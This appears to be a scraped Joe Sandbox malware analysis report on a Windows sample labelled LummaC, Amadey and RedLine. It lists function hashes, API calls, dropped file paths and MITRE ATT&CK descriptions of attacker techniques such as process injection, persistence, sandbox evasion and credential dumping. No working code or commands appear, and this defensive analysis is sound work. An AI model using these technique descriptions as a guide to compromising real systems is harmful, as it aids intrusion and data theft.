Instruction ID: 52fe0259059b82c7cb9fb3d0f913ef24527c2e8030ec2916e1bb67edfa7a0227
Opcode Fuzzy Hash: 32957ae45f5fb5a31ef22e0da77331464b0a71ff3474b199ef627a84159dc668
Instruction Fuzzy Hash: 01D0122494A2994AD3068F389CA1731BBB1EF03100F442558D142DB291C7D09016865C

Function 00582200 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 445COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,7D89282A), ref: 00582590

Strings

Yw, xrefs: 00582318

Memory Dump Source

Source File: 00000010.00000002.3358892223.0000000000571000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00570000, based on PE: true

Associated: 00000010.00000002.3358641617.0000000000570000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.3362123286.00000000007BC000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.3362369058.00000000007C2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.3363515627.00000000007C4000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_570000_6c29e572e4.jbxd

Similarity

API ID: CurrentProcess
String ID: Yw
API String ID: 2050909247-3837857917
Opcode ID: d50cb1a81deec47a91c06970448174bcba3bf409516a496cef151e2cf9963e92
Instruction ID: 837014c622de1e67070cba1a3e55d246275c09df294cee5ac0802553c2de1cc8
Opcode Fuzzy Hash: d50cb1a81deec47a91c06970448174bcba3bf409516a496cef151e2cf9963e92
Instruction Fuzzy Hash: 0F026F7690025ACFCB04DF59E8809EDBBF0FB58314F14816BE859EB251E3389952DFA4

Function 00427546 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 72fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(00000000,?,00000000), ref: 00427607

Strings

B\, xrefs: 0042759A
OR, xrefs: 0042758A
JC, xrefs: 00427592

Memory Dump Source

Source File: 00000010.00000002.3357111231.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.3356634130.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3357795162.000000000043F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358086956.0000000000442000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3358408199.0000000000453000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_6c29e572e4.jbxd

Similarity

API ID: CopyFile
String ID: B\$JC$OR
API String ID: 1304948518-2992266057
Opcode ID: 534c61a23f16c94dd70e9183f09d5d618cb95d249a0f73e85ffe0a6b27bbc1d3
Instruction ID: 8ef9865115e3bd1ef4dc2c2120f56385b28599b8e62f1996c0c1473ca8bdbd32
Opcode Fuzzy Hash: 534c61a23f16c94dd70e9183f09d5d618cb95d249a0f73e85ffe0a6b27bbc1d3
Instruction Fuzzy Hash: 802180B964D340DFD3209F61A84671BBBF4FB86304F40582CE1D587291EB788515DB4A

Function 007B0546 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 007B0558
GetCurrentThreadId.KERNEL32 ref: 007B0567
GetCurrentProcessId.KERNEL32 ref: 007B0570
QueryPerformanceCounter.KERNEL32(?), ref: 007B057D

Memory Dump Source

Source File: 00000010.00000002.3358892223.0000000000571000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00570000, based on PE: true

Associated: 00000010.00000002.3358641617.0000000000570000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.3362123286.00000000007BC000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.3362369058.00000000007C2000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.3363515627.00000000007C4000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_570000_6c29e572e4.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 62d7507918ad890477836fc701fcb8124fc991a9fdd0a57783225d3a4cb7321c
Instruction ID: bd00b02b8491c5157a185d6103bb989b01a1de75511b4fb0488315449a7a92b1
Opcode Fuzzy Hash: 62d7507918ad890477836fc701fcb8124fc991a9fdd0a57783225d3a4cb7321c
Instruction Fuzzy Hash: 4CF05F74D1020DEBCB01EBB4DA49A9EFBF4EF1C204B918696A412E6110E634AA449B55

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\6737.tmp.fcxcx.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\861C.tmp.Build.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000014.db

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000015.db

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

Windows Analysis Report
file.exe

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre